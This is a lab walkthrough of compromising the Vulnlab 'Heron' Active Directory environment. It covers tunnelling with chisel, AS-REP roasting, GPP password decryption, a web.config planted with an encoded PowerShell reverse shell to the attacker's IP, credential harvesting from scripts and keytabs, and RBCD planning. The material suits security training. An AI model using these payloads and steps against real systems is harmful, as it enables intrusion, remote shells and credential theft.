vulnlab-heron
a medium chain
We find a note online with the initial pass to connect to the linux box : pentest:Heron123!
We start chisel on our kali box
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ chisel server -p 8000 --reverse 2024/08/02 14:29:11 server: Reverse tunnelling enabled 2024/08/02 14:29:11 server: Fingerprint eyu7C2ldEm70kbrgTg7RsaykP56cSgqwu7GXCH17JyM= 2024/08/02 14:29:11 server: Listening on http://0.0.0.0:8000 2024/08/02 14:30:12 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
.
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ ssh pentest@10.10.148.86 The authenticity of host '10.10.148.86 (10.10.148.86)' can't be established. ED25519 key fingerprint is SHA256:7vUA9tMchnLRfzMzAtJD+Hwwr0nppIBRhctvevOQbm0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.148.86' (ED25519) to the list of known hosts. **************************************************** * Welcome to Heron Corp * * Unauthorized access to 'frajmp.heron.vl' is * * forbidden and will be prosecuted by law. * **************************************************** (pentest@10.10.148.86) Password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-107-generic x86_64) System information as of Fri Aug 2 12:24:16 PM UTC 2024 System load: 0.0 Processes: 110 Usage of /: 44.8% of 9.75GB Users logged in: 0 Memory usage: 23% IPv4 address for ens5: 10.10.148.86 Swap usage: 0% Last login: Fri Jun 7 10:34:38 2024 from 10.8.0.101 pentest@frajmp:~$ who pentest pts/0 2024-08-02 12:24 (10.8.2.138) pentest@frajmp:~$ cd /tmp pentest@frajmp:/tmp$ wget http://10.8.2.138/chisel --2024-08-02 12:28:23-- http://10.8.2.138/chisel Connecting to 10.8.2.138:80... connected. HTTP request sent, awaiting response... 200 OK Length: 8711104 (8.3M) [application/octet-stream] Saving to: ‘chisel’ chisel 100%[=======================>] 8.31M 6.88MB/s in 1.2s 2024-08-02 12:28:25 (6.88 MB/s) - ‘chisel’ saved [8711104/8711104] pentest@frajmp:/tmp$ chmod +x chisel pentest@frajmp:/tmp$ ./chisel client 10.8.2.138:8000 R:socks 2024/08/02 12:30:11 client: Connecting to ws://10.8.2.138:8000 2024/08/02 12:30:12 client: Connected (Latency 20.482852ms)
We do a slow nmap scan over proxychains to the DC
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains nmap -sC -sV -oN herondc.nmap -p 80,445,389,53,135,3389,443,21 10.10.148.85 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-02 14:47 CEST [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:53 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:3389 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:443 <--socket error or timeout! [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:21 <--socket error or timeout! [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:389 ... OK Nmap scan report for 10.10.148.85 Host is up (0.062s latency). PORT STATE SERVICE VERSION 21/tcp closed ftp 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Heron Corp |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heron.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=mucdc.heron.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:mucdc.heron.vl | Not valid before: 2024-06-01T15:29:52 |_Not valid after: 2025-06-01T15:29:52 |_ssl-date: TLS randomness does not represent time 443/tcp closed https 445/tcp open microsoft-ds Windows Server 2022 Standard 20348 microsoft-ds (workgroup: HERON) 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-08-02T12:49:19+00:00; -2s from scanner time. | rdp-ntlm-info: | Target_Name: HERON | NetBIOS_Domain_Name: HERON | NetBIOS_Computer_Name: MUCDC | DNS_Domain_Name: heron.vl | DNS_Computer_Name: mucdc.heron.vl | DNS_Tree_Name: heron.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-08-02T12:49:08+00:00 | ssl-cert: Subject: commonName=mucdc.heron.vl | Not valid before: 2024-06-01T10:54:12 |_Not valid after: 2024-12-01T10:54:12 Service Info: Host: MUCDC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-08-02T12:49:12 |_ start_date: N/A | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 1h23m58s, deviation: 3h07m51s, median: -2s | smb-os-discovery: | OS: Windows Server 2022 Standard 20348 (Windows Server 2022 Standard 6.3) | Computer name: mucdc | NetBIOS computer name: MUCDC\x00 | Domain name: heron.vl | Forest name: heron.vl | FQDN: mucdc.heron.vl |_ System time: 2024-08-02T05:49:10-07:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.02 seconds ┌──(puck㉿kali)-[~/vulnlab/heron]
.
on open port 80 we do a curl and find some usernames
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 curl http://10.10.148.85 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:80 ... OK <!DOCTYPE html> <html lang="en"> <body> <div class="container mt-5"> <div class="text-center mb-4"> <h1 class="display-4 text-white">Heron Corp</h1> <p class="lead text-white">Building the future of aerospace with precision and innovation.</p> <h5 class="card-title">Wayne Wood</h5> <p class="card-text">CEO</p> <p>Email: wayne.wood@heron.vl</p> <h5 class="card-title">Julian Pratt</h5> <p class="card-text">Head of IT</p> <p>Email: julian.pratt@heron.vl</p> <i class="fas fa-user-tie fa-3x mb-3"></i> <h5 class="card-title">Samuel Davies</h5> <p class="card-text">Accounting</p> <p>Email: samuel.davies@heron.vl</p> </body> </html> ┌──(puck㉿kali)-[~/vulnlab/heron]
We add to our /etc/hosts
10.10.148.85 mucdc.heron.vl heron.vl
…
Check for vuln ASREProasting users ( meaning AD account with option set : Do not require Kerberos preauthetication )
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 impacket-GetNPUsers heron.vl/'Guest' -dc-ip 10.10.148.85 -no-pass -request -usersfile users.txt [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] User svc-web-accounting-d doesn't have UF_DONT_REQUIRE_PREAUTH set [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] User svc-web-accounting doesn't have UF_DONT_REQUIRE_PREAUTH set [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] User wayne.wood doesn't have UF_DONT_REQUIRE_PREAUTH set [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [-] User julian.pratt doesn't have UF_DONT_REQUIRE_PREAUTH set [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK $krb5asrep$23$samuel.davies@HERON.VL:5253809049f054f80bde543e1a85bd56$d72a41d4e4a470a8abb50153b4cf1b365c82e8d0be2c8b376559f2ceaeda11962b2ca2eb37e0fa3feae5cad46f8da6c4abc5d15c32a2b66651c5846f21755d587d8996a83f9e34bddd777f420f6da1061da0c33fd594c0432c9cf69ad6fb7c881858578ca9870cefffaf7c0a34f9deca4209cdf8a0e0a9b971a32e01744bc98c1f69d1dfd32d19e95124c7f9603adc9b139971aad3354ea4e2a1d1e23df6bb70fa57d9e967c98972058a1510e3b8f5ff0c55e45f35478fa0437e1119d2ad36e4d54d2695a6f545ea0a8f46b3b053a154f61d66fa8755d7d8676d71ec6f45aa40163b2101 [-] invalid principal syntax ┌──(puck㉿kali)-[~/vulnlab/heron]
We crack this with hashcat , AS-REP Roasting uses hashcat mode 18200
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ hashcat -m 18200 -o cracked4.txt hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting Host memory required for this attack: 2 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$samuel.davies@HERON.VL:5253809049f054...3b2101 Time.Started.....: Fri Aug 2 15:06:30 2024 (0 secs) Time.Estimated...: Fri Aug 2 15:06:30 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Started: Fri Aug 2 15:06:29 2024 Stopped: Fri Aug 2 15:06:32 2024
With the pass found, we do a bloodhound enum
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 bloodhound-python -d 'heron.vl' -u 'samuel.davies' -p 'l6<redacted>oN' -c all -ns 10.10.148.85 --zip [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 INFO: Found AD domain: heron.vl INFO: Getting TGT for user [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK INFO: Connecting to LDAP server: mucdc.heron.vl [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:389 ... OK INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 5 computers INFO: Connecting to LDAP server: mucdc.heron.vl [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:389 ... OK INFO: Found 28 users INFO: Found 59 groups INFO: Found 5 gpos INFO: Found 4 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: frajmp.heron.vl INFO: Querying computer: INFO: Querying computer: [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.86:445 INFO: Querying computer: INFO: Querying computer: mucdc.heron.vl [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 <--socket error or timeout! ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 ... OK INFO: Done in 00M 07S INFO: Compressing output into 20240802151131_bloodhound.zip
Getting more users with ldapdump
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 ldapsearch -x -LLL -H ldap://mucdc.heron.vl -D 'samuel.davies@heron.vl' -b 'DC=heron,DC=vl' -w 'l6<redacted>oN' | grep userPrincipalName | awk '{print $2}' | cut -d '@' -f 1 > allusers.txt [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:389 ... OK
SMB enum
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 smbclient -L 10.10.148.85 -U 'samuel.davies' [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 ... OK Password for [WORKGROUP\samuel.davies]: Sharename Type Comment --------- ---- ------- accounting$ Disk ADMIN$ Disk Remote Admin C$ Disk Default share CertEnroll Disk Active Directory Certificate Services share home$ Disk IPC$ IPC Remote IPC it$ Disk NETLOGON Disk Logon server share SYSVOL Disk Logon server share transfer$ Disk Reconnecting with SMB1 for workgroup listing. [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:139 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:139 ... OK do_connect: Connection to 10.10.148.85 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
Connect to smb we find group.xml with a pasword in it
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 smbclient \\\\10.10.148.85\\SYSVOL -U 'samuel.davies' [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Password for [WORKGROUP\samuel.davies]: [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 ... OK Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun May 26 11:37:40 2024 .. D 0 Sun May 26 11:37:40 2024 heron.vl Dr 0 Sun May 26 11:37:40 2024 6261499 blocks of size 4096. 1958913 blocks available smb: \> cd heron.vl smb: \heron.vl\> ls . D 0 Sun May 26 11:38:59 2024 .. D 0 Sun May 26 11:37:40 2024 DfsrPrivate DHSr 0 Sun May 26 11:38:59 2024 Policies D 0 Tue Jun 4 17:57:41 2024 scripts D 0 Sun Jun 2 12:42:56 2024 6261499 blocks of size 4096. 1958913 blocks available smb: \heron.vl\> cd Policies smb: \heron.vl\Policies\> ls . D 0 Tue Jun 4 17:57:41 2024 .. D 0 Sun May 26 11:38:59 2024 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sun May 26 11:37:44 2024 {3FFDA928-A6D1-4860-936F-25D9D2D7EAEF} D 0 Sun May 26 12:21:54 2024 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sun May 26 11:37:44 2024 {6CC75E8D-586E-4B13-BF80-B91BEF1F221C} D 0 Tue Jun 4 17:57:41 2024 {866ECED1-24B0-46EF-92F5-652345A1820C} D 0 Sun May 26 12:23:29 2024 6261499 blocks of size 4096. 1958912 blocks available smb: \heron.vl\Policies\> cd {6CC75E8D-586E-4B13-BF80-B91BEF1F221C} smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\> ls . D 0 Tue Jun 4 17:57:41 2024 .. D 0 Tue Jun 4 17:57:41 2024 GPT.INI A 59 Tue Jun 4 18:00:13 2024 Machine D 0 Tue Jun 4 17:59:44 2024 User D 0 Tue Jun 4 17:57:41 2024 6261499 blocks of size 4096. 1958910 blocks available smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\> cd Machine smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\> ls . D 0 Tue Jun 4 17:59:44 2024 .. D 0 Tue Jun 4 17:57:41 2024 Preferences D 0 Tue Jun 4 17:59:44 2024 6261499 blocks of size 4096. 1958908 blocks available smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\> cd Preferences smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\> ls . D 0 Tue Jun 4 17:59:44 2024 .. D 0 Tue Jun 4 17:59:44 2024 Groups D 0 Tue Jun 4 17:59:44 2024 6261499 blocks of size 4096. 1958908 blocks available smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\> cd Groups smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\Groups\> ls . D 0 Tue Jun 4 17:59:44 2024 .. D 0 Tue Jun 4 17:59:44 2024 Groups.xml A 1135 Tue Jun 4 18:01:07 2024 6261499 blocks of size 4096. 1958908 blocks available smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\Groups\> get Groups.xml getting file \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\Groups\Groups.xml of size 1135 as Groups.xml (13.2 KiloBytes/sec) (average 13.2 KiloBytes/sec) smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\Groups\>
Gppencrypt pw [
pip3 install pycryptodome colorama
puck@edge-meppel:~/gpp-decrypt$ python3 gpp-decrypt.py __ __ ___ _ ___ ___ ____ ___/ / ___ ____ ____ __ __ ___ / /_ / _ `/ / _ \ / _ \/___// _ / / -_)/ __/ / __/ / // / / _ \/ __/ \_, / / .__/ / .__/ \_,_/ \__/ \__/ /_/ \_, / / .__/\__/ /___/ /_/ /_/ /___/ /_/ usage: python3 gpp-decrypt.py -f [groups.xml] gpp-decrypt.py: error: one of the arguments -f/--file -c/--cpassword is required puck@edge-meppel:~/gpp-decrypt$ python3 gpp-decrypt.py -c 1G19pP9gbIPUr5xLeKhEUg== __ __ ___ _ ___ ___ ____ ___/ / ___ ____ ____ __ __ ___ / /_ / _ `/ / _ \ / _ \/___// _ / / -_)/ __/ / __/ / // / / _ \/ __/ \_, / / .__/ / .__/ \_,_/ \__/ \__/ /_/ \_, / / .__/\__/ /___/ /_/ /_/ /___/ /_/ [ * ] Password: H3<redacted>#! puck@edge-meppel:~/gpp-decrypt$
with the H3<redacted>#! pass , valid for user svc-web-accounting-d , we can access SMB
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 smbclient \\\\10.10.148.85\\accounting$ -U 'svc-web-accounting-d' [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Password for [WORKGROUP\svc-web-accounting-d]:H3r<redacted>#! [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.148.85:445 ... OK Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jun 7 08:14:04 2024 .. DHS 0 Sun Jun 2 17:26:14 2024 AccountingApp.deps.json A 37407 Sun Jun 2 21:25:26 2024 AccountingApp.dll A 89600 Sun Jun 2 21:25:26 2024 AccountingApp.exe A 140800 Sun Jun 2 21:25:26 2024 AccountingApp.pdb A 39488 Sun Jun 2 21:25:26 2024 AccountingApp.runtimeconfig.json A 557 Sun Jun 2 00:22:20 2024 appsettings.Development.json A 127 Sun Jun 2 00:00:54 2024 appsettings.json A 237 Sun Jun 2 00:03:50 2024 FinanceApp.db A 106496 Sat Jun 1 16:09:00 2024 Microsoft.AspNetCore.Authentication.Negotiate.dll A 53920 Wed Nov 1 10:08:26 2023 Microsoft.AspNetCore.Cryptography.Internal.dll A 52912 Mon May 20 14:23:52 2024 Microsoft.AspNetCore.Cryptography.KeyDerivation.dll A 23712 Mon May 20 14:23:56 2024 Microsoft.AspNetCore.Identity.EntityFrameworkCore.dll A 108808 Mon May 20 14:24:24 2024 Microsoft.Data.Sqlite.dll A 172992 Mon May 20 09:54:40 2024 Microsoft.EntityFrameworkCore.Abstractions.dll A 34848 Mon May 20 09:54:30 2024 Microsoft.EntityFrameworkCore.dll A 2533312 Mon May 20 09:55:04 2024 Microsoft.EntityFrameworkCore.Relational.dll A 1991616 Mon May 20 09:55:20 2024 Microsoft.EntityFrameworkCore.Sqlite.dll A 257456 Mon May 20 09:55:30 2024 Microsoft.Extensions.DependencyModel.dll A 79624 Tue Oct 31 23:59:24 2023 Microsoft.Extensions.Identity.Core.dll A 177840 Mon May 20 14:24:10 2024 Microsoft.Extensions.Identity.Stores.dll A 45232 Mon May 20 14:24:20 2024 Microsoft.Extensions.Options.dll A 64776 Thu Jan 18 12:05:26 2024 runtimes D 0 Sat Jun 1 16:51:32 2024 SQLitePCLRaw.batteries_v2.dll A 5120 Thu Aug 24 04:41:24 2023 SQLitePCLRaw.core.dll A 50688 Thu Aug 24 04:38:38 2023 SQLitePCLRaw.provider.e_sqlite3.dll A 35840 Thu Aug 24 04:38:52 2023 System.DirectoryServices.Protocols.dll A 71944 Wed Nov 1 00:00:24 2023 web.config A 554 Thu Jun 6 16:41:39 2024 wwwroot D 0 Sat Jun 1 16:51:32 2024 6261499 blocks of size 4096. 1957663 blocks available smb: \>
.
We remove web.config, and then upload a modified web.config
i used this one
<?xml version="1.0" encoding="utf-8"?> <configuration> <location path="." inheritInChildApplications="false"> <system.webServer> <handlers> <add name="aspNetCore" path="execute.now" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" /> </handlers> <aspNetCore processPath="powershell" arguments="-e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADIALgAxADMAOAAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" hostingModel="OutOfProcess" /> </system.webServer> </location> </configuration> <!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4-->
Then i did a proxychains Firefox to http://accounting.heron.vl
logged in as svc-web-accounting-d with the H3<redacted>#! pasword, and then visited http://accounting.heron.vl/execute.now to trigger
or do a curl like this
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains curl -u:svc-web-accounting:H3<redacted>#! http://accounting.heron.vl/execute.now [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... accounting.heron.vl:80 ... OK
and catched the rev shell back to my kali box
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ nc -nlvp 9001 listening on [any] 9001 ... connect to [10.8.2.138] from (UNKNOWN) [10.10.177.37] 58560 PS C:\webaccounting> cd c:\windows\scripts PS C:\windows\scripts> dir Directory: C:\windows\scripts Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/6/2024 7:12 AM 1416 dns.ps1 -a---- 6/1/2024 8:26 AM 221 ssh.ps1 PS C:\windows\scripts> type ssh.ps1 $plinkPath = "C:\Program Files\PuTTY\plink.exe" $targetMachine = "frajmp" $user = "_local" $password = "De<redacted>lt" & "$plinkPath" -ssh -batch $user@$targetMachine -pw $password "ps auxf; ls -lah /home; exit" PS C:\windows\scripts>
checked Defender is running Get-MpComputerStatus on MUCDC, killing session after about 1 min, so visited http://accounting.heron.vl/execute.now again if ya need more time…
privesc on ubuntu box
pentest@frajmp:/tmp$ su _local Password: _local@frajmp:/tmp$ sudo -l [sudo] password for _local: Matching Defaults entries for _local on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User _local may run the following commands on localhost: (ALL : ALL) ALL _local@frajmp:/tmp$ sudo su root@frajmp:/tmp# cd /root root@frajmp:~# ls flag.txt snap root@frajmp:~# cat flag.txt VL{51<redacted>60}
transfer /etc/krb5.keytab with nc to kali box, and do a keytabextract.py
──(puck㉿kali)-[~/vulnlab/heron] └─$ python3 keytabextract.py krb5.keytab [*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash. [*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction. [*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction. [+] Keytab File successfully imported. REALM : HERON.VL SERVICE PRINCIPAL : FRAJMP$/ NTLM HASH : 6f<redacted>f7 AES-256 HASH : 7be44e62e24ba5f4a5024c185ade0cd3056b600bb9c69f11da3050dd586130e7 AES-128 HASH : dcaaea0cdc4475eee9bf78e6a6cbd0cd
We do some more Enumeration …finding Depl<redacted>Dealt working for julian.pratt
┌──(puck㉿kali)-[~/vulnlab/heron] └─$ proxychains4 smbclient \\\\10.10.134.197\\home$ -U 'julian.pratt' [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Password for [WORKGROUP\julian.pratt]: Depl<redacted>Dealt [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.134.197:445 ... OK Try "help" to get a list of possible commands. smb: \> smb: \> cd Julian.Pratt smb: \Julian.Pratt\> dir . D 0 Sun Jun 2 12:47:14 2024 .. D 0 Sat Jun 1 17:10:46 2024 frajmp.lnk A 1443 Sun Jun 2 12:47:47 2024 Is there a way to -auto login- in PuTTY with a password- - Super User.url A 117 Sat Jun 1 17:44:44 2024 Microsoft Edge.lnk A 2312 Sat Jun 1 17:44:38 2024 mucjmp.lnk A 1441 Sun Jun 2 12:47:33 2024 6261499 blocks of size 4096. 1985339 blocks available smb: \Julian.Pratt\> mget *.lnk Get file frajmp.lnk? y getting file \Julian.Pratt\frajmp.lnk of size 1443 as frajmp.lnk (17.2 KiloBytes/sec) (average 17.2 KiloBytes/sec) Get file Microsoft Edge.lnk? y getting file \Julian.Pratt\Microsoft Edge.lnk of size 2312 as Microsoft Edge.lnk (26.9 KiloBytes/sec) (average 22.1 KiloBytes/sec) Get file mucjmp.lnk? y getting file \Julian.Pratt\mucjmp.lnk of size 1441 as mucjmp.lnk (17.8 KiloBytes/sec) (average 20.7 KiloBytes/sec) smb: \Julian.Pratt\>
.
From bloodhoud, We find adm_prju
is within the ADMINS_T1
group, they have the WriteAccountRestrictions
privilege over MUCDC.
Having WriteAccountRestrictions
means that adm_prju
has write access to all of the attributes on the machine, notably msDS-AllowedToActOnBehalfOfOtherIdentity
. If we have the ability to modify this attribute, we can abuse resource-based constrained delegation
Next do the RBCD ( Role Based Constrained Delegation )
